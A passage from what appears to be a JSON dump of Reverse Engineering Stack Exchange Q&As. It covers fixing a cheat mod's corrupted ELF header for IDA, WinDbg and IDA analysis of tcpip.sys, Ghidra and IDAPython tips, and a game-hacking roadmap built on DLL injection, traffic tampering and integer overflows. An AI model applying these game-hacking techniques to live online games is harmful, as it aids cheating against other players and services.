        "Body": "<p>I have extracted the <code>.so</code> binary <code>libTheArmKing.so</code> (located in <code>lib</code> directory in <code>apk</code> file) from <a href=\"https://platinmods.com/threads/world-war-heroes-ww2-fps-ver-1-33-2-mod-menu-apk-unlimited-ammo-ohk-god-mode-radar-anti-kick-more-15-features.120570/\" rel=\"nofollow noreferrer\">a hack of World War Heroes game</a> (an Android game) from Plantimod Forum.</p>\n<p><code>file</code> output:</p>\n<pre><code>libTheArmKing.so: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), corrupted program header size, stripped\n</code></pre>\n<p><code>readelf</code> output:</p>\n<pre><code>ELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00\n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           ARM\n  Version:                           0x1\n  Entry point address:               0x0\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          712948 (bytes into file)\n  Flags:                             0x5000000, Version5 EABI\n  Size of this header:               52 (bytes)\n  Size of program headers:           17 (bytes)\n  Number of program headers:         8\n  Size of section headers:           40 (bytes)\n  Number of section headers:         28\n  Section header string table index: 27\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .interp           PROGBITS        00000134 000134 000013 00   A  0   0  1\n  [ 2] .dynsym           DYNSYM          00000148 000148 006210 10   A  3   1  4\n  [ 3] .dynstr           STRTAB          00006358 006358 007038 00   A  0   0  1\n  [ 4] .hash             HASH            0000d390 00d390 0028a8 04   A  2   0  4\n  [ 5] .rel.dyn          REL             0000fc38 00fc38 000c50 08   A  2   0  4\n  [ 6] .rel.plt          REL             00010888 010888 0002a8 08  AI  2   7  4\n  [ 7] .plt              PROGBITS        00010b30 010b30 000410 00  AX  0   0  4\n  [ 8] .text             PROGBITS        00010f40 010f40 048398 00  AX  0   0  4\n  [ 9] .turn             PROGBITS        000592d8 0592d8 000044 00  AX  0   0  4\n  [10] .main             PROGBITS        0005931c 05931c 001ba8 00  AX  0   0  4\n  [11] .maria            PROGBITS        0005aec4 05aec4 000010 00  AX  0   0  4\n  [12] .ARM.extab        PROGBITS        0005aed4 05aed4 002808 00   A  0   0  4\n  [13] .ARM.exidx        ARM_EXIDX       0005d6dc 05d6dc 000f80 08  AL  8   0  4\n  [14] .rodata           PROGBITS        0005e660 05e660 00340c 00   A  0   0 16\n  [15] .data.rel.ro[...] PROGBITS        00063688 062688 000048 00  WA  0   0  4\n  [16] .fini_array       FINI_ARRAY      000636d0 0626d0 000008 00  WA  0   0  4\n  [17] .init_array       INIT_ARRAY      000636d8 0626d8 000010 00  WA  0   0  4\n  [18] .data.rel.ro      PROGBITS        000636e8 0626e8 00063c 00  WA  0   0  8\n  [19] .dynamic          DYNAMIC         00063d24 062d24 000108 08  WA  3   0  4\n  [20] .got              PROGBITS        00063e30 062e30 0001d0 00  WA  0   0  4\n  [21] .data             PROGBITS        00064000 063000 04af6c 00  WA  0   0  8\n  [22] .ced              PROGBITS        000aef6c 0adf6c 000020 00  WA  0   0  4\n  [23] .bss              NOBITS          000aef90 0adf8c 06dc04 00  WA  0   0  8\n  [24] .comment          PROGBITS        00000000 0adf8c 000023 01  MS  0   0  1\n  [25] .note.gnu.go[...] NOTE            00000000 0adfb0 00001c 00      0   0  4\n  [26] .ARM.attributes   ARM_ATTRIBUTES  00000000 0adfcc 00002f 00      0   0  1\n  [27] .shstrtab         STRTAB          00000000 0adffb 0000f8 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),\n  L (link order), O (extra OS processing required), G (group), T (TLS),\n  C (compressed), x (unknown), o (OS specific), E (exclude),\n  y (purecode), p (processor specific)\n\nThere are no section groups in this file.\nreadelf: Error: The e_phentsize field in the ELF header is less than the size of an ELF program header\n</code></pre>\n<p>When I load this <code>.so</code> into IDA, IDA cannot detect it as <code>ELF</code>, and only show <code>Binary File</code>. Also, it cannot detect the entry point automatically.</p>\n<p>I think the mod author made this corruption <em>on purpose</em> to make it harder to reverse engineering his mod.</p>\n<p><a href=\"https://transfer.sh/P1Gxoa/libTheArmKing.so\" rel=\"nofollow noreferrer\">Here</a> is the binary.</p>\n<p>So my question is: How to fix the header of this <code>.so</code> to make it loadable to IDA?</p>\n<p>Thank you!</p>\n<p><strong>EDIT 1</strong>: Ghidra is able to load and detect this as ELF, but skipped some sections due to incorrect address.</p>\n",
        "Title": "Reverse engineering ELF: The e_phentsize field in the ELF header is less than the size of an ELF program header",
        "Tags": "|ida|android|arm|elf|apk|",
        "Answer": "<p>If you use a hex editor and set <code>e_phentsize</code> (offset 0x2a) to 0x20 it works fine, I believe 0x20 is standard for 32bit.</p>\n<pre><code>$ readelf -l libTheArmKing.so \n\nElf file type is DYN (Shared object file)\nEntry point 0x0\nThere are 8 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00000034 0x00000034 0x00100 0x00100 R   0x4\n  INTERP         0x000134 0x00000134 0x00000134 0x00013 0x00013 R   0x1\n      [Requesting program interpreter: /system/bin/linker]\n  LOAD           0x000000 0x00000000 0x00000000 0x61a6c 0x61a6c R E 0x1000\n  LOAD           0x062688 0x00063688 0x00063688 0x4b904 0xb950c RW  0x1000\n  DYNAMIC        0x062d24 0x00063d24 0x00063d24 0x00108 0x00108 RW  0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0\n  EXIDX          0x05d6dc 0x0005d6dc 0x0005d6dc 0x00f80 0x00f80 R   0x4\n  GNU_RELRO      0x062688 0x00063688 0x00063688 0x00978 0x00978 RW  0x8\n\n Section to Segment mapping:\n  Segment Sections...\n   00     \n   01     .interp \n   02     .interp .dynsym .dynstr .hash .rel.dyn .rel.plt .plt .text .turn .main .maria .ARM.extab .ARM.exidx .rodata \n   03     .data.rel.ro.local .fini_array .init_array .data.rel.ro .dynamic .got .data .ced .bss \n   04     .dynamic \n   05     \n   06     .ARM.exidx \n   07     .data.rel.ro.local .fini_array .init_array .data.rel.ro .dynamic .got \n</code></pre>\n<p>Detailed info:</p>\n<p>You can calculate the correct sizes by running <code>man 5 elf</code> and looking at the <code>Elf32_Phdr</code> or <code>Elf64_Phdr</code> structure definitions and adding up their element sizes, giving you 0x20 for <code>Elf32_Phdr</code> and 0x38 for <code>Elf64_Phdr</code>.</p>\n<pre><code>   typedef struct {\n       uint32_t   p_type;\n       Elf32_Off  p_offset;\n       Elf32_Addr p_vaddr;\n       Elf32_Addr p_paddr;\n       uint32_t   p_filesz;\n       uint32_t   p_memsz;\n       uint32_t   p_flags;\n       uint32_t   p_align;\n   } Elf32_Phdr;\n\n   typedef struct {\n       uint32_t   p_type;\n       uint32_t   p_flags;\n       Elf64_Off  p_offset;\n       Elf64_Addr p_vaddr;\n       Elf64_Addr p_paddr;\n       uint64_t   p_filesz;\n       uint64_t   p_memsz;\n       uint64_t   p_align;\n   } Elf64_Phdr;\n</code></pre>\n"
    },
    {
        "Id": "30740",
        "CreationDate": "2022-08-07T15:30:36.280",
        "Body": "<p>I want to remote-control my Mackie Thump GO loudspeaker without using the official app, so that I can build an app that can control music and the speaker at the same time (and maybe even do some automation). Has anyone reverse engineered the bluetooth protocol of a Mackie Thump GO loudspeaker?</p>\n",
        "Title": "Has anyone reverse engineered the bluetooth protocol of a Mackie Thump GO loudspeaker?",
        "Tags": "|bluetooth|",
        "Answer": "<p>Yes, the protocol was reverse engineered. The results can be found at <a href=\"https://gist.github.com/mhasdf/489c6d35c830dda512143d0374bb17ce\" rel=\"nofollow noreferrer\">https://gist.github.com/mhasdf/489c6d35c830dda512143d0374bb17ce</a></p>\n"
    },
    {
        "Id": "30761",
        "CreationDate": "2022-08-11T22:24:17.690",
        "Body": "<p>I'm debugging windows server 2019 in windbg and I want to find function IppInitializePathSet. However, I can't find the function in IDA but I can find the symbol named tcpip!IppInitializePathSet. How to find the target function?</p>\n",
        "Title": "Symbol name tcpip!IppInitializePathSet found in windbg but unable to find function IppInitializePathSet in tcpip.sys",
        "Tags": "|windows|windbg|",
        "Answer": "<pre><code>0: kd&gt; .reload /f tcpip.sys\n0: kd&gt; lm m tcp*\nstart             end                 module name\nfffff803`575f0000 fffff803`578dc000   tcpip      (pdb symbols)          f:\\symbols\\tcpip.pdb\\F733C426A17672D6B1CD7EFD711F586C1\\tcpip.pdb\n</code></pre>\n<p>it is a public function is the pdbg loaded in ida ?</p>\n<pre><code>0: kd&gt; x /v tcpip!IppInitializePathSet\npub func   fffff803`57748790    0 tcpip!IppInitializePathSet (IppInitializePathSet)\n</code></pre>\n<p>you can find the function by using the relative address from module base</p>\n<pre><code>0: kd&gt; ? tcpip!IppInitializePathSet-tcpip\nEvaluate expression: 1410960 = 00000000`00158790\n</code></pre>\n<p>the function as is doesnt appear to be complicated this is not from 2019 but winx</p>\n<pre><code>0: kd&gt; uf tcpip!IppInitializePathSet\ntcpip!IppInitializePathSet:\nfffff803`57748790 48895c2410      mov     qword ptr [rsp+10h],rbx\nfffff803`57748795 4889742418      mov     qword ptr [rsp+18h],rsi\nfffff803`5774879a 57              push    rdi\nfffff803`5774879b 4883ec20        sub     rsp,20h\nfffff803`5774879f 448b05c2ba0a00  mov     r8d,dword ptr [tcpip!IppDefaultMemoryLimitOfBuffers (fffff803`577f4268)]\nfffff803`577487a6 488d8190010000  lea     rax,[rcx+190h]\nfffff803`577487ad 4889442430      mov     qword ptr [rsp+30h],rax\nfffff803`577487b2 8bfa            mov     edi,edx\nfffff803`577487b4 48b8abaaaaaaaaaaaaaa mov rax,0AAAAAAAAAAAAAAABh\nfffff803`577487be 488bf1          mov     rsi,rcx\nfffff803`577487c1 49f7e0          mul     rax,r8\nfffff803`577487c4 48c1ea07        shr     rdx,7\nfffff803`577487c8 85d2            test    edx,edx\nfffff803`577487ca 7405            je      tcpip!IppInitializePathSet+0x41 (fffff803`577487d1)\n\ntcpip!IppInitializePathSet+0x3c:\nfffff803`577487cc 3bfa            cmp     edi,edx\nfffff803`577487ce 0f47fa          cmova   edi,edx\n\ntcpip!IppInitializePathSet+0x41:\nfffff803`577487d1 8a05a9e50a00    mov     al,byte ptr [tcpip!TcpipIsServerSKU (fffff803`577f6d80)]\nfffff803`577487d7 41b8c0010000    mov     r8d,1C0h\nfffff803`577487dd f6d8            neg     al\nfffff803`577487df 1bdb            sbb     ebx,ebx\nfffff803`577487e1 33d2            xor     edx,edx\nfffff803`577487e3 81e3801f0000    and     ebx,1F80h\nfffff803`577487e9 e8d295f4ff      call    tcpip!memset (fffff803`57691dc0)\nfffff803`577487ee 4533c9          xor     r9d,r9d\nfffff803`577487f1 89be4c010000    mov     dword ptr [rsi+14Ch],edi\nfffff803`577487f7 4533c0          xor     r8d,r8d\nfffff803`577487fa 8d9380000000    lea     edx,[rbx+80h]\nfffff803`57748800 488d4c2430      lea     rcx,[rsp+30h]\nfffff803`57748805 4c8b1524760c00  mov     r10,qword ptr [tcpip!_imp_RtlCreateHashTableEx (fffff803`5780fe30)]\nfffff803`5774880c e89f0425f9      call    nt!RtlCreateHashTableEx (fffff803`50998cb0)\nfffff803`57748811 84c0            test    al,al\nfffff803`57748813 7533            jne     tcpip!IppInitializePathSet+0xb8 (fffff803`57748848)\n\ntcpip!IppInitializePathSet+0x85:\nfffff803`57748815 833d88640a0001  cmp     dword ptr [tcpip!MICROSOFT_TCPIP_PROVIDER_Context+0x24 (fffff803`577eeca4)],1\nfffff803`5774881c 7523            jne     tcpip!IppInitializePathSet+0xb1 (fffff803`57748841)\n\ntcpip!IppInitializePathSet+0x8e:\nfffff803`5774881e f6057ee40a0008  test    byte ptr [tcpip!Microsoft_Windows_TCPIPEnableBits+0x3 (fffff803`577f6ca3)],8\nfffff803`57748825 741a            je      tcpip!IppInitializePathSet+0xb1 (fffff803`57748841)\n\ntcpip!IppInitializePathSet+0x97:\nfffff803`57748827 4c8d0d22e50700  lea     r9,[tcpip!`string' (fffff803`577c6d50)]\nfffff803`5774882e 488d15331e0700  lea     rdx,[tcpip!TCPIP_MEMORY_FAILURES (fffff803`577ba668)]\nfffff803`57748835 488d0d44640a00  lea     rcx,[tcpip!MICROSOFT_TCPIP_PROVIDER_Context (fffff803`577eec80)]\nfffff803`5774883c e8e323faff      call    tcpip!McTemplateK0z_EtwWriteTransfer (fffff803`576eac24)\n\ntcpip!IppInitializePathSet+0xb1:\nfffff803`57748841 b89a0000c0      mov     eax,0C000009Ah\nfffff803`57748846 eb0a            jmp     tcpip!IppInitializePathSet+0xc2 (fffff803`57748852)\n\ntcpip!IppInitializePathSet+0xb8:\nfffff803`57748848 488bce          mov     rcx,rsi\nfffff803`5774884b e88491faff      call    tcpip!RtlInitializeScalableMrswLock (fffff803`576f19d4)\nfffff803`57748850 33c0            xor     eax,eax\n\ntcpip!IppInitializePathSet+0xc2:\nfffff803`57748852 488b5c2438      mov     rbx,qword ptr [rsp+38h]\nfffff803`57748857 488b742440      mov     rsi,qword ptr [rsp+40h]\nfffff803`5774885c 4883c420        add     rsp,20h\nfffff803`57748860 5f              pop     rdi\nfffff803`57748861 c3              ret\n0: kd&gt;\n</code></pre>\n<p>pseudocode from ghidra 1015</p>\n<pre><code>undefined8 IppInitializePathSet(void *param_1,uint param_2)\n\n{\n  char cVar1;\n  NTSTATUS uVar2;\n  uint uVar3;\n  bool bVar4;\n  longlong local_res8;\n  \n  local_res8 = (longlong)param_1 + 400;\n  uVar3 = IppDefaultMemoryLimitOfBuffers / 0xc0;\n  if ((uVar3 != 0) &amp;&amp; (uVar3 &lt; param_2)) {\n    param_2 = uVar3;\n  }\n  bVar4 = TcpipIsServerSKU != '\\0';\n  memset(param_1,0,0x1c0);\n  *(uint *)((longlong)param_1 + 0x14c) = param_2;\n  _uVar2 = 0;\n  cVar1 = RtlCreateHashTableEx(&amp;local_res8,(-(uint)bVar4 &amp; 0x1f80) + 0x80,0,0);\n  if (cVar1 == '\\0') {\n    if ((DAT_1c01feca4 == 1) &amp;&amp; ((DAT_1c0206ca3 &amp; 8) != 0)) {\n      McTemplateK0z_EtwWriteTransfer\n                (&amp;MICROSOFT_TCPIP_PROVIDER_Context,&amp;TCPIP_MEMORY_FAILURES,_uVar2,\n                 L&quot;path hash table (IPNG)&quot;);\n    }\n    _uVar2 = 0xc000009a;\n  }\n  else {\n    RtlInitializeScalableMrswLock(param_1);\n    _uVar2 = 0;\n  }\n  return _uVar2;\n}\n</code></pre>\n"
    },
    {
        "Id": "30784",
        "CreationDate": "2022-08-15T22:27:18.213",
        "Body": "<p>I'm checking <code>tcpip.sys</code> file in IDA and found that in the <code>.data</code> part\nthere is an int called <code>g_37HashSeed</code>.\nThis seed is an input for a hash function that I look into.\nCan someone tell me which program or function is\nresponsible for initializing this seed?</p>\n<pre><code>.data:00000001C020512C g_37HashSeed    dd ?                    ; DATA XREF: IppSendError+33E\u2191r\n.data:00000001C020512C                                         ; IppFindPath+31\u2191r ...\n.data:00000001C0205130 IppNSWorkerQueue dq ?                   ; DATA XREF: IppResolveNeighbor+31C\u2191o\n.data:00000001C0205130                                         ; IppNeighborSolicitationWorker+2E\u2191o ...\n.data:00000001C0205138 qword_1C0205138 dq ?                    ; DATA XREF: IppResolveNeighbor+315\u2191r\n.data:00000001C0205138                                         ; IppResolveNeighbor+339\u2191w ...\n.data:00000001C0205140 ; KSPIN_LOCK IppNSWorkItemLock\n.data:00000001C0205140 IppNSWorkItemLock dq ?                  ; DATA XREF: IppNeighborSetTimeout+253\u2191o\n</code></pre>\n",
        "Title": "Which function or file is responsible for initialization of g_37HashSeed",
        "Tags": "|windows|hash-functions|",
        "Answer": "<p>It looks like the <code>g_37HashSeed</code> variable is initialized in the function <code>IppInitSharedHashContext</code>, in the file <code>tcpip.sys</code>:</p>\n<pre><code>IppInitSharedHashContext proc near\nsub     rsp, 28h\nor      edx, 0FFFFFFFFh\nmov     ecx, 1\ncall    RandomNumber\nmov     cs:g_37HashSeed, eax\nmov     al, 1\nadd     rsp, 28h\nretn\nIppInitSharedHashContext endp\n</code></pre>\n<p>The <code>RandomNumber</code> function seems to be a simple LCG (<a href=\"https://en.wikipedia.org/wiki/Linear_congruential_generator\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Linear_congruential_generator</a>) with the parameters <code>a=1664525, c=1013904223</code>.</p>\n<p>You can find this by yourself by right clicking on <code>g_37HashSeed</code> in IDA and select <code>List cross references to...</code>.</p>\n"
    },
    {
        "Id": "30786",
        "CreationDate": "2022-08-16T17:53:09.990",
        "Body": "<p>I'm currently trying to make a hotkey to rename example functions <code>sub_123450(aType* this, void* a2)</code> to <code>aType::123450(aType* this, void* a2)</code>. I have code to rename etc. but how can I get the name of the type of the arguments to the function?</p>\n",
        "Title": "IDAPython Get Function Parameter Type Name",
        "Tags": "|ida|idapython|",
        "Answer": "<pre><code>func_ea = 0x123450  # sub_123450\n\n\ntif = ida_typeinf.tinfo_t()\nfuncdata = ida_typeinf.func_type_data_t()\n\nassert ida_nalt.get_tinfo(tif, func_ea)\nassert tif.get_func_details(funcdata)\n\nfor pos, argument in enumerate(funcdata):\n    print(f'argument {pos + 1}: {argument.type}{argument.name}')\n</code></pre>\n<p>This should give you:</p>\n<pre><code>argument 1: aType* this\nargument 2: void* a2\n</code></pre>\n"
    },
    {
        "Id": "30791",
        "CreationDate": "2022-08-18T14:21:03.127",
        "Body": "<p>Either by pasting from a text file or typing it out into a dialog box, which is still much faster than using Ghidra's Structure editor.</p>\n",
        "Title": "Can I import a C struct into Ghidra?",
        "Tags": "|ghidra|",
        "Answer": "<p>Using &quot;Parse C Source&quot; seems to <strong>only</strong> work if all other structs referenced by the parsed structs are also defined in such header files in correct order.</p>\n<p>If you want to parse a struct that depends on types that have been added from another source (like plugins/scripts, PDB, or manually added), you could use a script.</p>\n<p>This script allows you to do that: <a href=\"https://github.com/Katharsas/ghidra-struct-importer\" rel=\"nofollow noreferrer\">https://github.com/Katharsas/ghidra-struct-importer</a></p>\n<p>(Disclaimer: I am the author of that repo)</p>\n"
    },
    {
        "Id": "30792",
        "CreationDate": "2022-08-18T14:24:00.177",
        "Body": "<p>I'm using Ghidra to work out the structure of some binary files. No code.</p>\n<p>I can use the Structure Editor to define a struct, such as the header of the file format.</p>\n<p>But I can only find a way to create the struct in the context of one of the files and then it will not be visible to the other.</p>\n<p>Is there a way to make it visible to both?</p>\n",
        "Title": "In Ghidra can I have two binaries loaded into tabs and create a new struct that I can use in both?",
        "Tags": "|ghidra|",
        "Answer": "<p>Programs in the same project can share data types through the data type manager of each program.  This can be done using drag-n-drop from one data type manager to the other or through copy (<kbd>Ctrl</kbd>+<kbd>C</kbd>) with focus on the type and paste (<kbd>Ctrl</kbd>+<kbd>V</kbd> ) with focus on the directory or top level archive where the data type should be copied to.</p>\n"
    },
    {
        "Id": "30813",
        "CreationDate": "2022-08-23T20:54:38.833",
        "Body": "<p>I've looked at as many resources on Manfred and Manfred's work</p>\n<p>I've watched the DEFCON 25 Live talk about what he hacked.</p>\n<p><a href=\"https://youtu.be/ZAUf_ygqsDo\" rel=\"nofollow noreferrer\">Here</a></p>\n<p>I've also looked, listened and read the dark net diaries Part One -</p>\n<p><a href=\"https://youtu.be/3dkRG3WlAR8\" rel=\"nofollow noreferrer\">YouTube</a></p>\n<p><a href=\"https://darknetdiaries.com/episode/7/\" rel=\"nofollow noreferrer\">Dark net diaries part one</a></p>\n<p>Part Two -</p>\n<p><a href=\"https://youtu.be/s2tce_kQ_QE\" rel=\"nofollow noreferrer\">YouTube</a></p>\n<p><a href=\"https://darknetdiaries.com/episode/8/\" rel=\"nofollow noreferrer\">Dark net diaries part two</a></p>\n<p>From what my understanding is to bypass the HWID bans he ran the game and did a full memory dump, he also captured the packets sent off the game and started reverse engineering the game and started reversing the routines within a game. I've tried for a few month now to figure out how he managed to do things like this but their is no clear method on how Todo so. I figured the best place to ask would be here.</p>\n<p><strong>Questions</strong></p>\n<pre><code>- How did Manfred do it?\n - What can I do to get started in this field of game hacking?\n - What was the method Manfred had used?\n - Is their any resources on this?\nAny help is appreciated. TL;DR - How did Manfred hack so many online games\n</code></pre>\n<p>Thank you.</p>\n",
        "Title": "Reversing Games like Manfred dis",
        "Tags": "|assembly|game-hacking|binary-editing|api-hacking|",
        "Answer": "<p>Manfred has 20+ years of experience and many skills, so don't expect to get there overnight. As a starting point:</p>\n<ol>\n<li>Read Beej's guides: <a href=\"https://beej.us/guide/bgnet/\" rel=\"nofollow noreferrer\">https://beej.us/guide/bgnet/</a></li>\n<li>Write a client and server, use a standard protocol like HTTP.</li>\n<li>Practice intercepting/modifying traffic between your client and server. Try  OWASP ZAP, BurpSuite or similar.</li>\n<li>Write a dll</li>\n<li>Read up on dll injection</li>\n<li>Inject your dll into your client program</li>\n<li>Use your dll to intercept/modify client/server traffic</li>\n<li>Modify your server to have a fake inventory/stats/store system.</li>\n<li>Attempt to use integer overflows to modify the results of inventory/stats/store actions.</li>\n<li>Add encryption to your client/server communication</li>\n<li>Does your dll still intercept/modify traffic? If not, fix it</li>\n</ol>\n<p>This should give you plenty of learning without having to jump straight into the deep end with a real game. I find that attempting something without the prerequisite knowledge can result in you being sidetracked reading/learning and/or giving up.</p>\n"
    },
    {
        "Id": "30818",
        "CreationDate": "2022-08-24T22:10:59.960",
        "Body": "<p>I'm going through through Challenge 3 (Task 4) of Basic Malware RE: <a href=\"https://tryhackme.com/room/basicmalwarere\" rel=\"nofollow noreferrer\">https://tryhackme.com/room/basicmalwarere</a></p>\n<p>And in Ghidra after I do analysis, I can view the .rsrc area and it shows me all the strings laid out nicely with their uID's right next to them.</p>\n<p>In IDA, the closest thing I've gotten is going to the Strings menu -&gt; right click -&gt; Setup and checking <code>C-Style</code>, <code>Unicode C-Style (16 bits)</code>, <code>C-Style (32 bits)</code>. After that, I start to see some of the strings show up in the strings menu (whereas before I didn't see any strings from the resource side), but they don't look anywhere near as nice to search through, and I can't seem to find any references to the <code>uID</code> property as seen in Ghidra. (and referenced in the MSDN docs here: <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadstringa?redirectedfrom=MSDN\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadstringa?redirectedfrom=MSDN</a>)</p>\n<p>I've read online at various places, like here: <a href=\"https://medium.com/@obikag/tryhackme-basic-malware-re-room-writeup-8183730100b2\" rel=\"nofollow noreferrer\">https://medium.com/@obikag/tryhackme-basic-malware-re-room-writeup-8183730100b2</a> that you'd usually use something like Resource Hacker to load <code>user32.dll</code> and view the memory that way, however I'm on MacOS and can't run Resource Hacker.</p>\n<p>I am wondering if there's any way to view these resource String ID's in IDA like I can in Ghidra. (See screenshots)\n<a href=\"https://i.stack.imgur.com/2edZ6.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2edZ6.jpg\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/1KuuY.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1KuuY.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "View user32.dll LoadStringA string ID's in IDA on MacOS like you can with Ghidra",
        "Tags": "|ida|ghidra|strings|",
        "Answer": "<p>By default IDA does not load PE resources as they rarely contain code or other content required for disassembly. You can enable [x] Load resources in the initial <em>Load new file</em> dialog but all it does is load the <code>.rsrc</code> section\u2019s content; it won\u2019t parse the resource data and mark up the strings but at least you\u2019ll have the UTF-16 text somewhere.\nAn alternative option could be to use <a href=\"https://pypi.org/project/pefile/\" rel=\"nofollow noreferrer\">pefile</a> to <a href=\"https://github.com/erocarrera/pefile/blob/wiki/ReadingResourceStrings.md\" rel=\"nofollow noreferrer\">parse the strings from the file</a></p>\n"
    },
    {
        "Id": "30820",
        "CreationDate": "2022-08-25T21:23:06.390",
        "Body": "<p>The struct looks like this.</p>\n<pre><code>typedef struct _RTL_DYNAMIC_HASH_TABLE_ENUMERATOR { \nstruct _RTL_DYNAMIC_HASH_TABLE_ENTRY HashEntry; \nstruct _LIST_ENTRY* CurEntry; \nstruct _LIST_ENTRY* ChainHead; \nULONG BucketIndex;// start from 0 to tablesize - 1\n};\n\ntypedef struct _RTL_DYNAMIC_HASH_TABLE_ENTRY { struct _LIST_ENTRY Linkage; ULONG64 Signature; };\n\n</code></pre>\n<p>The function I'm interested in is nt!RtlInitEnumerationHashTable</p>\n<pre><code>BOOLEAN __stdcall RtlInitEnumerationHashTable(PRTL_DYNAMIC_HASH_TABLE HashTable, PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator)\n</code></pre>\n<p>I set a bp at the function and got this</p>\n<pre><code>kv\n # Child-SP          RetAddr               : Args to Child                                                           : Call Site\n00 ffff888e`d3bbf1c8 fffff80a`d2e72de4     : ffff8a83`e35e0d30 00000000`00000000 ffffb08f`74f38d70 00000000`00000000 : nt!RtlEnumerateEntryHashTable\n01 ffff888e`d3bbf1d0 fffff80a`d261b740     : 00000000`00000000 fffff80a`d2fc9828 fffff80a`d2fc7930 ffff8a83`e9218000 : tcpip!Ipv4EnumerateAllPaths+0x2c4\n02 ffff888e`d3bbf3b0 fffff80a`d3ab290e     : ffff8a83`e9218000 ffff8a83`00000070 0000000c`840ff690 ffff8a83`e2802340 : NETIO!NsiEnumerateObjectsAllParametersEx+0x240\n</code></pre>\n<pre><code>db 0xffff8a83e35e0d30\nffff8a83`e35e0d30  00 00 00 00 00 00 00 00-00 20 00 00 00 00 00 00  ......... ......\nffff8a83`e35e0d40  ff 1f 00 00 66 00 00 00-4b 00 00 00 01 00 00 00  ....f...K.......\nffff8a83`e35e0d50  60 99 6d e3 83 8a ff ff-00 00 00 00 00 00 00 00  `.m.............\nffff8a83`e35e0d60  00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................\n</code></pre>\n<pre><code>1: kd&gt; kP\n # Child-SP          RetAddr               Call Site\n00 ffff888e`d3bbf1c8 fffff80a`d2e72de4     nt!RtlEnumerateEntryHashTable\n01 ffff888e`d3bbf1d0 fffff80a`d261b740     tcpip!Ipv4EnumerateAllPaths+0x2c4\n02 ffff888e`d3bbf3b0 fffff80a`d3ab290e     NETIO!NsiEnumerateObjectsAllParametersEx+0x240\n</code></pre>\n<p>I want to display the struct of the function argument Enumerator. I also want to look into the struct to get the Signature in the HashEntry. Any tips?Thanks</p>\n",
        "Title": "which command in windbg to use to display the struct in function argument",
        "Tags": "|windbg|functions|",
        "Answer": "<p>you are checking the contents of callstack which would be meaningless in an x64 application</p>\n<p>in x64 calling convention windows passes first four arguments in registers</p>\n<p>use dt command to view the structures</p>\n<p>dt foo!blah @rcx</p>\n"
    },
    {
        "Id": "30828",
        "CreationDate": "2022-08-26T15:00:52.103",
        "Body": "<p>I was playing around with some golang code I wrote, and I modified the Go BuildID. However, I had to pad whatever I wanted the buildID to be with characters so that it was the length of the original string.</p>\n<p>I found that both <code>hexedit</code> and Ghirda's Byte Viewer (which allows modifying bytes) do not allow you to delete bytes (unless I cannot figure out how) from a file. I am wondering whats the reasoning, is there some sort of checksum they don't want you to overwrite? What about files where a checksum is not a concern?</p>\n<p>Which tool can I use to modify hex bytes, including deleting them from the file?</p>\n",
        "Title": "Hexedit / Ghidra Byte Viewer wont allow deletion of bytes",
        "Tags": "|ghidra|hex|",
        "Answer": "<p>Deleting bytes would move around anything after the edit, breaking pointers which would break the whole binary, so Ghidra doesn't even allow you to do it.</p>\n"
    },
    {
        "Id": "30835",
        "CreationDate": "2022-08-29T02:24:08.703",
        "Body": "<p>What is a way to lookup a COM method offset with an image, just based on the module name and method name.</p>\n<p>For example want to find &quot;Exec&quot; method in &quot;WScript.Shell&quot; In this scenario we know the method is in wshom.ocx. In this case it is relatively easy to find with the public symbols.</p>\n<p>We can find the vtable :</p>\n<pre><code>.text:7B471070 ; const CWshShell::`vftable'{for `IWshShell3'}\n.text:7B471070 ??_7CWshShell@@6BIWshShell3@@@ dd offset ?QueryInterface@CWshExec@@UAGJABU_GUID@@PAPAX@Z\n.text:7B471070                                         ; DATA XREF: CWshShell::Create(IUnknown *)+74\u2193o\n.text:7B471070                                         ; CWshShell::`scalar deleting destructor'(uint)+B\u2193o\n.text:7B471070                                         ; CWshExec::QueryInterface(_GUID const &amp;,void * *)\n.text:7B471074                 dd offset ?AddRef@CWebPreviewDispatch@@EAGKXZ ; CWebPreviewDispatch::AddRef(void)\n.text:7B471078                 dd offset ?Release@?$CAggregatedUnknown@$02@@UAGKXZ ; CAggregatedUnknown&lt;3&gt;::Release(void)\n.text:7B47107C                 dd offset ?GetTypeInfoCount@CWshExec@@UAGJPAI@Z ; CWshExec::GetTypeInfoCount(uint *)\n.text:7B471080                 dd offset ?GetTypeInfo@CWshShell@@UAGJIKPAPAUITypeInfo@@@Z ; CWshShell::GetTypeInfo(uint,ulong,ITypeInfo * *)\n.text:7B471084                 dd offset ?GetIDsOfNames@CWshShell@@UAGJABU_GUID@@PAPAGIKPAJ@Z ; CWshShell::GetIDsOfNames(_GUID const &amp;,ushort * *,uint,ulong,long *)\n.text:7B471088                 dd offset ?Invoke@CWshShell@@UAGJJABU_GUID@@KGPAUtagDISPPARAMS@@PAUtagVARIANT@@PAUtagEXCEPINFO@@PAI@Z ; CWshShell::Invoke(long,_GUID const &amp;,ulong,ushort,tagDISPPARAMS *,tagVARIANT *,tagEXCEPINFO *,uint *)\n.text:7B47108C                 dd offset 